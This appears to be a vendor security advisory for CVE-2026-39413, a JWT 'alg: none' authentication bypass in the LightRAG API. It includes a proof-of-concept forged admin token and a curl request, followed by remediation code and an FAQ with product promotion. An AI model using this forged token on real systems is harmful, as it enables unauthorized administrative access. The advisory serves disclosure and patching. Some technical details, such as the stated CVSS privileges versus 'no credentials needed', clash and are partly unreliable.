CVE-2026-39413

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

CVE-2026-39413 has a CVSS score of 4.2 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.14); upgrading removes the vulnerable code path.

Kodem intelligence

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

1. What is CVE-2026-39413? CVE-2026-39413 is a medium-severity security vulnerability in lightrag-hku (pip), affecting versions <= 1.4.13. It is fixed in 1.4.14.
2. How severe is CVE-2026-39413? CVE-2026-39413 has a CVSS score of 4.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of lightrag-hku are affected by CVE-2026-39413? lightrag-hku (pip) versions <= 1.4.13 is affected.
4. Is there a fix for CVE-2026-39413? Yes. CVE-2026-39413 is fixed in 1.4.14. Upgrade to this version or later.
5. Is CVE-2026-39413 exploitable, and should I be worried? Whether CVE-2026-39413 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-39413 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-39413? Upgrade lightrag-hku to 1.4.14 or later.